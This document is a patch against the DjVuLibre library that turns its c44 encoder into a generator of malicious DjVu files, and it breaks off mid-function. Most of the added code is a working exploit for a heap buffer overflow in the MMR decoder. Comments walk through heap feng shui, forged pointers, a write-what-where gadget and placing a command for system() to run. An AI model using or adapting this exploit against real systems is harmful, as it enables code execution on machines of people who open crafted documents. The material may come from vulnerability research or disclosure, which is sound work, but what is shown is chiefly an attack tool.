AC_CHECK_CC_OPT([-O3],,[AC_CHECK_CC_OPT([-O2])]) +- AC_CHECK_CXX_OPT([-O3],,[AC_CHECK_CXX_OPT([-O2])]) ++ AC_CHECK_CC_OPT([-O0],,[AC_CHECK_CC_OPT([-O0])]) ++ AC_CHECK_CXX_OPT([-O0],,[AC_CHECK_CXX_OPT([-O0])]) + cpu=`uname -m 2>/dev/null` + test -z "$cpu" && cpu=${host_cpu} + case "${host_cpu}" in +diff --git a/libdjvu/JB2EncodeCodec.cpp b/libdjvu/JB2EncodeCodec.cpp +index 8b3671c..63c70aa 100644 +--- a/libdjvu/JB2EncodeCodec.cpp ++++ b/libdjvu/JB2EncodeCodec.cpp +@@ -377,6 +377,13 @@ JB2Dict::JB2Codec::Encode::code(const GP &gjim) + for (shapeno=firstshape; shapeno= 0) +@@ -390,6 +397,13 @@ JB2Dict::JB2Codec::Encode::code(const GP &gjim) + code_record(rectype, 0, 0); + } + } ++ if (jim.encode_shape_cb) { ++ jim.encode_shape_cb(); ++ } ++ // Code Comment. ++ rectype = PRESERVED_COMMENT; ++ if (!! jim.comment) ++ code_record(rectype, gjim, 0); + // Code end of data record + rectype = END_OF_DATA; + code_record(rectype, gjim, 0); +diff --git a/libdjvu/JB2Image.h b/libdjvu/JB2Image.h +index a87a83b..b88923b 100644 +--- a/libdjvu/JB2Image.h ++++ b/libdjvu/JB2Image.h +@@ -170,6 +170,7 @@ + + #include "GString.h" + #include "ZPCodec.h" ++#include "functional" + + + #ifdef HAVE_NAMESPACES +@@ -318,6 +319,9 @@ public: + /** Comment string coded by JB2 file. */ + GUTF8String comment; + ++ // Extra callback during encoding, so that I can modify the comment. ++ std::function encode_shape_cb = {}; ++ + + private: + friend class JB2Codec; +diff --git a/tools/c44.cpp b/tools/c44.cpp +index df73468..199079a 100644 +--- a/tools/c44.cpp ++++ b/tools/c44.cpp +@@ -211,6 +211,8 @@ + //@{ + //@} + ++#include ++#include + #include "GString.h" + #include "GException.h" + #include "IW44Image.h" +@@ -223,566 +225,1267 @@ + #include "DjVuMessage.h" + #include "JPEGDecoder.h" + #include "common.h" ++#include "JB2Image.h" ++#include ++#include ++#include + +-// command line data +- +-int flag_mask = 0; +-int flag_bpp = 0; +-int flag_size = 0; +-int flag_percent = 0; +-int flag_slice = 0; +-int flag_decibel = 0; +-int flag_crcbdelay = -1; +-int flag_crcbmode = -1; +-double flag_dbfrac = -1; +-int flag_dpi = -1; +-double flag_gamma = -1; +-int argc_bpp = 0; +-int argc_size = 0; +-int argc_slice = 0; +-int argc_decibel = 0; +-IW44Image::CRCBMode arg_crcbmode = IW44Image::CRCBnormal; +- +-#define MAXCHUNKS 64 +-float argv_bpp[MAXCHUNKS]; +-int argv_size[MAXCHUNKS]; +-int argv_slice[MAXCHUNKS]; +-float argv_decibel[MAXCHUNKS]; +- +-struct C44Global +-{ +- // Globals that need static initialization +- // are grouped here to work around broken compilers. +- GURL pnmurl; +- GURL iw4url; +- GURL mskurl; +- IWEncoderParms parms[MAXCHUNKS]; +-}; +- +-static C44Global& g(void) +-{ +- static C44Global g; +- return g; +-} +- +- +-// parse arguments +- +-void +-usage() +-{ +- DjVuPrintErrorUTF8( +-#ifdef DJVULIBRE_VERSION +- "C44 --- DjVuLibre-" DJVULIBRE_VERSION "\n" +-#endif +- "Image compression utility using IW44 wavelets\n\n" +- "Usage: c44 [options] pnm-or-jpeg-file [djvufile]\n" +- "Options:\n" +- " -slice n+...+n -- select an increasing sequence of data slices\n" +- " expressed as integers ranging from 1 to 140.\n" +- " -bpp n,..,n -- select a increasing sequence of bitrates\n" +- " for building progressive file (in bits per pixel).\n" +- " -size n,..,n -- select an increasing sequence of minimal sizes\n" +- " for building progressive files (expressed in bytes).\n" +- " -percent n,..,n -- selects the percentage of original file size\n" +- " for building progressive file.\n" +- " -decibel n,..,n -- select an increasing sequence of luminance error\n" +- " expressed as decibels (ranging from 16 to 50).\n" +- " -dbfrac frac -- restrict decibel estimation to a fraction of\n" +- " the most misrepresented 32x32 blocks\n" +- " -mask pbmfile -- select bitmask specifying image zone to encode\n" +- " with minimal bitrate. (default none)\n" +- " -dpi n -- sets the image resolution\n" +- " -gamma n -- sets the image gamma correction\n" +- " -crcbfull -- encode chrominance with highest quality\n" +- " -crcbnormal -- encode chrominance with normal resolution (default)\n" +- " -crcbhalf -- encode chrominance with half resolution\n" +- " -crcbnone -- do not encode chrominance at all\n" +- " -crcbdelay n -- select chrominance coding delay (default 10)\n" +- " for -crcbnormal and -crcbhalf modes\n" +- "\n"); +- exit(1); +-} +- +- +- +-void +-parse_bpp(const char *q) +-{ +- flag_bpp = 1; +- argc_bpp = 0; +- double lastx = 0; +- while (*q) +- { +- char *ptr; +- double x = strtod(q, &ptr); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.bitrate_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<=0 || x>24 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.bitrate_too_many") ); +- } +- if (argc_bpp < 1) +- G_THROW( ERR_MSG("c44.bitrate_no_chunks") ); +-} +- +- +-void +-parse_size(const char *q) +-{ +- flag_size = 1; +- argc_size = 0; +- int lastx = 0; +- while (*q) +- { +- char *ptr; +- int x = strtol(q, &ptr, 10); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.size_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.size_too_many") ); +- } +- if (argc_size < 1) +- G_THROW( ERR_MSG("c44.size_no_chunks") ); +-} +- +-void +-parse_slice(const char *q) +-{ +- flag_slice = 1; +- argc_slice = 0; +- int lastx = 0; +- while (*q) +- { +- char *ptr; +- int x = strtol(q, &ptr, 10); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.slice_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<1 || x>1000 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.slice_too_many") ); +- } +- if (argc_slice < 1) +- G_THROW( ERR_MSG("c44.slice_no_chunks") ); +-} +- +- +-void +-parse_decibel(const char *q) +-{ +- flag_decibel = 1; +- argc_decibel = 0; +- double lastx = 0; +- while (*q) +- { +- char *ptr; +- double x = strtod(q, &ptr); +- if (ptr == q) +- G_THROW( ERR_MSG("c44.decibel_not_number") ); +- if (lastx>0 && q[-1]=='+') +- x += lastx; +- if (x<16 || x>50 || x=MAXCHUNKS) +- G_THROW( ERR_MSG("c44.decibel_too_many") ); ++static void djbz_bitmap(JB2Dict &d, int nrows, int ncols, int bytes_per_row) { ++ JB2Shape shape; ++ shape.parent = -1; ++ shape.userdata = 0; ++ shape.bits = GBitmap::create(nrows, ncols, 4); ++ for (int i = 0; i < nrows; i++) { ++ for (int j = 0; j < ncols; j++) { ++ (*shape.bits)[i][j] = ++ j + 1 < bytes_per_row ? (j & 1) : (bytes_per_row & 1); + } +- if (argc_decibel < 1) +- G_THROW( ERR_MSG("c44.decibel_no_chunks") ); +-} +- +- +-int +-resolve_quality(int npix) +-{ +- // Convert ratio specification into size specification +- if (flag_bpp) +- { +- if (flag_size) +- G_THROW( ERR_MSG("c44.exclusive") ); +- flag_size = flag_bpp; +- argc_size = argc_bpp; +- for (int i=0; i 0); ++ buf[0] = 0; ++ } ++ ++ size_t bitoffset() const { return offset_; } ++ size_t byteoffset() const { return (offset_ + 7) / 8; } ++ ++ void write(uint8_t x, size_t nbits); ++ ++private: ++ void write_bitcode(const BitCode table[], size_t tablelen, uint32_t value); ++ ++public: ++ void write_wcode(uint32_t value) { ++ write_bitcode(wcodes, sizeof(wcodes) / sizeof(BitCode), value); ++ } ++ ++ void write_bcode(uint32_t value) { ++ write_bitcode(bcodes, sizeof(bcodes) / sizeof(BitCode), value); ++ } ++}; ++ ++void BitPacker::write(uint8_t x, size_t nbits) { ++ assert(nbits <= 8); ++ assert(x >> nbits == 0); ++ ++ // Shift bits to the top of the byte. ++ x <<= (8 - nbits); ++ ++ // The number of bits that have already been written to the current byte. ++ // Note: bits are written to the top of the byte first. ++ const size_t occupied = offset_ % 8; ++ ++ buf_[offset_ / 8] |= (x >> occupied); ++ offset_ += nbits; ++ if (occupied + nbits >= 8) { ++ if (offset_ / 8 >= bufsize_) { ++ G_THROW(ERR_MSG("BitPacker: buffer too small")); + } +- // Complete short specifications +- while (argc_size < nchunk) +- argv_size[argc_size++] = 0; +- while (argc_slice < nchunk) +- argv_slice[argc_slice++] = 0; +- while (argc_decibel < nchunk) +- argv_decibel[argc_decibel++] = 0.0; +- // Fill parm structure +- for(int i=0; i value) { ++ high = mid; ++ } else { ++ low = mid + 1; ++ } + } +- // Return number of chunks +- return nchunk; +-} +- +- +-void +-parse(GArray &argv) +-{ +- const int argc=argv.hbound()+1; +- for (int i=1; i= argc) +- G_THROW( ERR_MSG("c44.no_bpp_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_bitrate") ); +- parse_size(argv[i]); +- flag_percent = 1; +- } +- else if (argv[i] == "-bpp") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_bpp_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_bitrate") ); +- parse_bpp(argv[i]); +- } +- else if (argv[i] == "-size") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_size_arg") ); +- if (flag_bpp || flag_size) +- G_THROW( ERR_MSG("c44.multiple_size") ); +- parse_size(argv[i]); +- } +- else if (argv[i] == "-decibel") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_decibel_arg") ); +- if (flag_decibel) +- G_THROW( ERR_MSG("c44.multiple_decibel") ); +- parse_decibel(argv[i]); +- } +- else if (argv[i] == "-slice") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_slice_arg") ); +- if (flag_slice) +- G_THROW( ERR_MSG("c44.multiple_slice") ); +- parse_slice(argv[i]); +- } +- else if (argv[i] == "-mask") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_mask_arg") ); +- if (! g().mskurl.is_empty()) +- G_THROW( ERR_MSG("c44.multiple_mask") ); +- g().mskurl = GURL::Filename::UTF8(argv[i]); +- } +- else if (argv[i] == "-dbfrac") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_dbfrac_arg") ); +- if (flag_dbfrac>0) +- G_THROW( ERR_MSG("c44.multiple_dbfrac") ); +- char *ptr; +- flag_dbfrac = strtod(argv[i], &ptr); +- if (flag_dbfrac<=0 || flag_dbfrac>1 || *ptr) +- G_THROW( ERR_MSG("c44.illegal_dbfrac") ); +- } +- else if (argv[i] == "-crcbnone") +- { +- if (flag_crcbmode>=0 || flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbdelay = flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBnone; +- } +- else if (argv[i] == "-crcbhalf") +- { +- if (flag_crcbmode>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBhalf; +- } +- else if (argv[i] == "-crcbnormal") +- { +- if (flag_crcbmode>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBnormal; +- } +- else if (argv[i] == "-crcbfull") +- { +- if (flag_crcbmode>=0 || flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- flag_crcbdelay = flag_crcbmode = 0; +- arg_crcbmode = IW44Image::CRCBfull; +- } +- else if (argv[i] == "-crcbdelay") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_crcbdelay_arg") ); +- if (flag_crcbdelay>=0) +- G_THROW( ERR_MSG("c44.incompatable_chrominance") ); +- char *ptr; +- flag_crcbdelay = strtol(argv[i], &ptr, 10); +- if (*ptr || flag_crcbdelay<0 || flag_crcbdelay>=100) +- G_THROW( ERR_MSG("c44.illegal_crcbdelay") ); +- } +- else if (argv[i] == "-dpi") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_dpi_arg") ); +- if (flag_dpi>0) +- G_THROW( ERR_MSG("c44.duplicate_dpi") ); +- char *ptr; +- flag_dpi = strtol(argv[i], &ptr, 10); +- if (*ptr || flag_dpi<25 || flag_dpi>4800) +- G_THROW( ERR_MSG("c44.illegal_dpi") ); +- } +- else if (argv[i] == "-gamma") +- { +- if (++i >= argc) +- G_THROW( ERR_MSG("c44.no_gamma_arg") ); +- if (flag_gamma > 0) +- G_THROW( ERR_MSG("c44.duplicate_gamma") ); +- char *ptr; +- flag_gamma = strtod(argv[i], &ptr); +- if (*ptr || flag_gamma<=0.25 || flag_gamma>=5) +- G_THROW( ERR_MSG("c44.illegal_gamma") ); +- } +- else +- usage(); +- } +- else if (g().pnmurl.is_empty()) +- g().pnmurl = GURL::Filename::UTF8(argv[i]); +- else if (g().iw4url.is_empty()) +- g().iw4url = GURL::Filename::UTF8(argv[i]); +- else +- usage(); ++ assert(high > 0); ++ const size_t i = high - 1; ++ assert(table[i].value <= value); ++ if (table[i].codelen > 8) { ++ write(0, table[i].codelen - 8); ++ write(table[i].code, 8); ++ } else { ++ write(table[i].code, table[i].codelen); + } +- if (g().pnmurl.is_empty()) +- usage(); +- if (g().iw4url.is_empty()) +- { +- GURL codebase=g().pnmurl.base(); +- GUTF8String base = g().pnmurl.fname(); +- int dot = base.rsearch('.'); +- if (dot >= 1) +- base = base.substr(0,dot); +- const char *ext=".djvu"; +- g().iw4url = GURL::UTF8(base+ext,codebase); ++ if (value < 64) { ++ break; + } ++ value -= table[i].value; ++ } + } + ++// The heap feng shui phase aims to preload the tcache with several ++// chunks that are next to each other in memory, and that will get ++// used later when jimg, prevruns, lineruns, and dcd are ++// allocated. So, even though the exact offsets of these chunks within ++// the thread-local arena are unreliable, the distances between them ++// should be. ++static const uint16_t distance_jimg_to_dcd = 0x700; ++static const uint16_t distance_prevruns_to_dcd = 0x590; ++static const uint16_t distance_lineruns_to_dcd = 0x370; + ++static const uint16_t sizeof_fake_chunk = 0xa0; ++static const uint16_t sizeof_GBitmap = 0x80; + +-GP +-getmask(int w, int h) +-{ +- GP msk8; +- if (! g().mskurl.is_empty()) +- { +- GP mbs=ByteStream::create(g().mskurl,"rb"); +- msk8 = GBitmap::create(*mbs); +- if (msk8->columns() != (unsigned int)w || +- msk8->rows() != (unsigned int)h ) +- G_THROW( ERR_MSG("c44.different_size") ); +- } +- return msk8; ++// The heap feng shui stage allocates a lot of memory that will never ++// be used again in the 0x31000..0x38000 range (appoximately) of the ++// thread-local arena, so I can use it as a scratch area for things ++// like creating fake chunks. The exact offsets might vary slightly ++// from one run to the next, but it should be very reliable if I stay ++// away from the edges. ++static const uint16_t offsetof_scratch_area = 0x2000; ++ ++// Location for storing a pointer to dcd, so that I can calculate ++// pointers to jimg or dcd whenever I need to. ++static const uint16_t offsetof_dcd_ptr_backup = offsetof_scratch_area + 0x20; ++ ++static const uint16_t offsetof_fake_bytes_data = offsetof_dcd_ptr_backup + 0x10; ++static const uint16_t offsetof_fake_rlerows = offsetof_fake_bytes_data + 0x10; ++static const uint16_t offsetof_scratch_ptr = offsetof_fake_rlerows + 0x30; ++ ++// Locations for storing the components of an arena pointer, so ++// that I can use copy_uint16 to forge fake pointers. ++static const uint16_t arena_ptrbytes_2_3 = offsetof_scratch_ptr + 0x30; ++static const uint16_t arena_ptrbytes_4_5 = arena_ptrbytes_2_3 + 0x10; ++ ++// Locations for storing the components of the jimg->blits.traits ++// pointer, so that I can use copy_uint16 to reconstruct it later. ++static const uint16_t traits_ptrbytes_0_1 = arena_ptrbytes_4_5 + 0x10; ++static const uint16_t traits_ptrbytes_2_3 = traits_ptrbytes_0_1 + 0x10; ++static const uint16_t traits_ptrbytes_4_5 = traits_ptrbytes_2_3 + 0x10; ++ ++// Scratch area for the add-with-carry operation. ++static const uint16_t offsetof_adder_area = traits_ptrbytes_4_5 + 0x20; ++ ++static const uint16_t offsetof_fake_bitmap = offsetof_adder_area + 0x20; ++static const uint16_t offsetof_fake_chunk1 = ++ offsetof_fake_bitmap + sizeof_GBitmap + 0x10; ++static const uint16_t offsetof_fake_chunk2 = ++ offsetof_fake_chunk1 + sizeof_fake_chunk + 0x10; ++ ++static const uint16_t offsetof_scratch_area_end = ++ offsetof_fake_chunk2 + sizeof_fake_chunk + 0x30; ++ ++// Location where I'll write the command for system to run. ++// fake_chunk2 contains the fake traits when the command is written. ++// The fake traits are 0x28 bytes, so 0x40 is enough of a gap. ++static const uint16_t offsetof_command = offsetof_fake_chunk2 + 0x40; ++ ++// Struct field offsets ++static const uint16_t offsetof_dcd_count = 0x8; ++static const uint16_t offsetof_dcd_width = 0xc; ++static const uint16_t offsetof_dcd_lineruns = 0x38; ++static const uint16_t offsetof_dcd_prevruns = 0x50; ++ ++static const uint16_t offsetof_blits_traits = 0x78; ++static const uint16_t offsetof_blits_data = 0x80; ++ ++static const uint16_t offsetof_bytes = 0x18; ++static const uint16_t offsetof_bytes_data = 0x20; ++static const uint16_t offsetof_rle = 0x38; ++static const uint16_t offsetof_grle = 0x40; ++static const uint16_t offsetof_grlerows = 0x58; ++static const uint16_t offsetof_rlelength = 0x68; ++static const uint16_t offsetof_monitorptr = 0x70; ++ ++static void write_V0(BitPacker &packer) { ++ packer.write(1, 1); // V0 ++} ++ ++static void write_VL1(BitPacker &packer) { ++ packer.write(0x2, 3); // VL1 ++} ++ ++static void write_P(BitPacker &packer) { ++ packer.write(0x1, 4); // P ++} ++ ++// Write a H element to an even numbered address. ++static void write_H_even(BitPacker &packer, uint32_t lo, uint32_t hi) { ++ packer.write(1, 3); // H ++ packer.write_wcode(lo); ++ packer.write_bcode(hi); + } + ++// Write a H element to an odd numbered address. ++static void write_H_odd(BitPacker &packer, uint32_t lo, uint32_t hi) { ++ packer.write(1, 3); // H ++ packer.write_bcode(lo); ++ packer.write_wcode(hi); ++} ++ ++static void firstrun(BitPacker &packer, size_t &lineno, uint32_t width, ++ uint16_t blocksize, uint16_t blocksperline) { ++ uint32_t remainder = width; ++ for (uint16_t i = 0; i + 1 < blocksperline; i++) { ++ write_H_even(packer, 0, blocksize); ++ remainder -= blocksize; ++ } ++ write_H_even(packer, 0, remainder); ++ lineno++; ++} ++ ++static void write_stop(BitPacker &packer, size_t &lineno, uint32_t stop) { ++ write_H_even(packer, stop, 0x0); ++ lineno++; ++} ++ ++static void modify_prevruns(BitPacker &packer, size_t &lineno, uint16_t target, ++ uint32_t stop) { ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, stop | target); ++ lineno++; ++} ++ ++// Copy a uint16_t from one location to another. The 8 bytes below it ++// in memory will get trashed. At the destination site, (up to) 12 ++// bytes of garbage get written above it, but not below. Therefore, ++// this operation can be used to move an arbitrary number of bytes ++// from one location to another. (The number of bytes must be even ++// though.) The move is destructive to the source if you want to copy ++// more than 2 bytes, because the bytes below the current ones keep ++// getting trashed. The solution is to move the bytes to a staging ++// area where they're separated by extra zeros and then copy them back ++// later. ++// ++// The advantage of using this function to copy a uint16_t is that it ++// is able to handle the special case where the value is zero. If you ++// know that the value is non-zero then there are simpler ways to copy ++// it. For example, in many places I'm able to copy a pointer in one ++// go, using three V0 instructions, because the heap feng shui has ++// ensured that none of the byte pairs in the pointer are zero. But ++// when I'm copying a fully unknown pointer, like a pointer to ++// system(), then there's a chance that the middle byte pair will be ++// zero due to ASLR. ++// ++// Zero is an awkward special case due to the complicated way that b1 ++// is updated in MMRDecoder::scanruns(). The solution is to add 1 to ++// the number and then subtract it with the VL1 operation. This ++// involves adding two extra steps, so this function uses 6 steps ++// rather than 4. ++static void copy_uint16(BitPacker &packer, size_t &lineno, uint16_t src, ++ uint16_t dst) { ++ // 1 ++ // Modify prevruns. ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | (src - 8)); ++ lineno++; ++ ++ // 2 ++ // Write 0x0000, 0x0000, 0x0000, 0x0001 below the bytes that I want ++ // to copy. The 0x0001 is a workaround for the special case where ++ // the uint16_t that I want to copy is zero. The 0x0001 gets added ++ // to the uint16_t and then subtracted by the VL1 operation in the ++ // next step. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x40001); ++ lineno++; ++ ++ // 3 ++ // Copy byte pair back and modify prevruns so that I can copy them ++ // to the destination. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000 | dst); ++ lineno++; ++ ++ // 4 ++ // skip step at destination ++ write_H_even(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 5 ++ // Write a 1 below the bytes so that I can do the same trick as ++ // before. ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x40001); ++ lineno++; ++ ++ // 6 ++ // Copy to dst ++ write_P(packer); ++ write_VL1(packer); ++ write_H_odd(packer, 0xc000, 0xc000); ++ write_H_odd(packer, 0xc000, 0xc000); ++ lineno++; ++} + +-static void +-create_photo_djvu_file(IW44Image &iw, int w, int h, +- IFFByteStream &iff, int nchunks, IWEncoderParms xparms[]) +-{ ++// Add two uint16_t values and also output a carry bit. The two input ++// values should be stored at p, p+2 before calling this function. The ++// carry bit will be written to p-2 and the addition result to p+10. ++// ++// The 16 bytes below dcd.prevruns are used as a working area. ++// ++// The addition is computed by this loop: ++// (https://sourceforge.net/p/djvu/djvulibre-git/ci/42029c33b2fb25bc1fa98c80b2be83a2fa23cce1/tree/libdjvu/MMRDecoder.cpp#l748) ++// ++// // Next reference run ++// for(;b1<=a0 && b1= 0x10000 (i.e. if there's a carry bit). That second ++// iteration adds another 0x10000, so it doesn't change the output. ++// But it means that pr has been incremented 4 bytes more than if ++// there was no carry. The next instruction is a V0, which will output ++// a 2 if there was a carry or 1 if there wasn't. (It's easier to copy ++// a non-zero value so that's why I use 1,2 rather than 0,1.) ++static void add_with_carry(BitPacker &packer, size_t &lineno, uint16_t p) { ++ // 1 ++ // Point prevruns just above the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x40000, p + 4); ++ lineno++; ++ ++ // 2 ++ // Write some values that will compute the carry bit. ++ write_H_even(packer, 0x2, 0xfffe); // sum == 0x10000 ++ write_H_even(packer, 0x1, 0x0); ++ write_H_even(packer, 0x0, 0x1ffff); ++ lineno++; ++ ++ // 3 ++ // Point prevruns 6 bytes below the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x40000, p - 6); ++ lineno++; ++ ++ // 4 ++ // write zeros below the two values ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 5 ++ // Compute the addition and write the carry bit ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0xffff); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_even(packer, 0xffff, 0x40000); ++ lineno++; ++ ++ // 6 ++ // Copy the addition result out ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 7 ++ // wipe the addition result ++ write_VL1(packer); ++ write_H_odd(packer, 0x0, 0x0); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++ ++ // 8 ++ // Copy the carry bit out ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); ++ lineno++; ++} ++ ++// Adds a uint16_t increment to a 64-bit pointer. ++static void pointer_add(BitPacker &packer, size_t &lineno, uint16_t src, ++ uint16_t dst, uint16_t incr, ++ bool write_trailer = true) { ++ // Scratch area for add_with_carry to use ++ uint16_t s = offsetof_adder_area; ++ ++ // Copy increment to scratch area ++ modify_prevruns(packer, lineno, s - 6, 0x40000); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x40000, incr); ++ lineno++; ++ ++ // Copy components. Only 3 iterations are needed because the top two ++ // bytes of a pointer are always zero. ++ for (size_t i = 0; i < 3; i++) { ++ // Copy component to scratch area ++ copy_uint16(packer, lineno, src, s + 2); ++ ++ // Add increment or carry bit to component ++ add_with_carry(packer, lineno, s); ++ ++ // Copy result out ++ copy_uint16(packer, lineno, s + 10, dst); ++ ++ // Carry bit was written to s-2, so it's easiest to shift the scratch area. ++ s -= 2; ++ ++ // Move to next component ++ src += 2; ++ dst += 2; ++ } ++} ++ ++// Use the buffer overflow on dcd->lineruns to modify ++// dcd->width. (Heap feng shui has ensured that lineruns is stored ++// immediately below dcd in memory.) This function should be followed ++// by a call to write_stop(). ++static void overwrite_width(BitPacker &packer, uint16_t prefixlen) { ++ // Buffer overflow ++ for (size_t i = prefixlen; i < distance_lineruns_to_dcd + offsetof_dcd_width; ++ i += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ ++ // Overwrite width ++ write_H_even(packer, 0x0, 0x3); // 0x30000 ++ ++ // Overwrite height ++ write_H_even(packer, 0x0, 0x1); // 0x10000 ++ ++ // Overwrite lineno ++ write_H_even(packer, 0x0, 0x0); ++ ++ // Overwrite striplineno ++ write_H_even(packer, 0x0, 0x0); ++ ++ // Overwrite rowsperstrip ++ write_H_even(packer, 0x0, 0x1); // 0x10000 ++ ++ // Overwrite line and gline ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x0); ++} ++ ++// This overwrites dcd->lineruns with a pointer to dcd->glineruns. ++// That gives me the ability to overwrite prevruns, which means I can ++// now write bytes to any location. (Previously, I could also write to ++// any location, but it was a one-shot thing because the only way to ++// do it a second time was by trashing all the memory between the ++// first location and dcd.) ++static void create_write_what_where_gadget(BitPacker &packer, size_t &lineno) { ++ // Almost all the bytes between prevruns and &dcd->lineruns are ++ // currently zero. The exceptions are the handful of non-zero values ++ // that I've set in dcd, such as dcd->width and dcd->height. Also, ++ // lineno and striplineno have both been incremented once since I ++ // zeroed them in overwrite_width(). So at this moment in time, ++ // those values sum to 7. So, in order for the first byte pair of ++ // the pointer to get successfully loaded into b1, I need to set a0 ++ // = 7. ++ write_H_even(packer, 0x0, 0x7); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // write large number below the address in prevruns ++ write_H_even(packer, 0x0, 0x0); ++ write_H_even(packer, 0x0, 0x50000 - 0x1); ++ lineno++; ++ ++ // Next line. ++ write_H_even(packer, 0x0, ++ 0x10000 - ++ (distance_prevruns_to_dcd + offsetof_dcd_lineruns + 0xe)); ++ overwrite_width(packer, 0x4); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x30000); // stop ++ lineno++; ++ ++ // skip line ++ write_stop(packer, lineno, 0x40000); ++ ++ // At this moment, dcd still points to the original prevruns, but ++ // dcd->lineruns now points to &dcd->glineruns, which is 0x10 bytes below ++ // &dcd->prevruns in memory. ++} ++ ++// Write n zero bytes at destination. n should be a multiple of 4. ++static void wipe_bytes_at_dst(BitPacker &packer, size_t &lineno, uint16_t dst, ++ size_t n, uint32_t stop) { ++ if (n % 4 != 0) { ++ G_THROW(ERR_MSG("wipe_bytes_at_dst: n is not a multiple of 4")); ++ } ++ ++ // Set target pointer. ++ modify_prevruns(packer, lineno, dst, stop); ++ ++ for (size_t i = 0; i + 4 < n; i += 4) { ++ write_H_even(packer, 0x0, 0x0); ++ } ++ write_stop(packer, lineno, stop); ++} ++ ++// Write a pointer to dcd in the scratch area so that I can retrieve it ++// when I need it. ++static void make_backup_ptr(BitPacker &packer, size_t &lineno) { ++ // Set target pointer. ++ modify_prevruns(packer, lineno, offsetof_dcd_ptr_backup - 0x8, 0x40000); ++ ++ // This will copy the pointer that is currently stored in dcd->prevruns, ++ // which is a pointer to 0x10 below &dcd->prevruns. This subtracts an ++ // offset from it to calculate a pointer to dcd. ++ write_H_even(packer, 0x0, offsetof_dcd_prevruns - 0x10); ++ write_H_even(packer, 0x0, 0x0); ++ write_V0(packer); ++ write_V0(packer); ++ write_V0(packer); ++ write_H_odd(packer, 0x0, 0x40000); // stop ++ lineno++; ++} ++ ++// Overwrite prevruns with an address that's at a relatively offset from ++// dcd. This uses the pointer that I've stored at the fixed (relative to ++// the current arena) address offsetof_dcd_ptr_backup. The offset ++// is subtracted. ++static void modify_prevruns_relative(BitPacker &packer, size_t &lineno, ++ uint16_t offset, uint32_t stop) { ++ modify_prevruns(packer, lineno, offsetof_dcd_ptr_backup - 0x8, stop); ++ ++ // skip ++ write_stop(packer, lineno, stop); ++ ++ // Copy pointer back. ++ write_H_even(packer, 0x0, offset); ++ 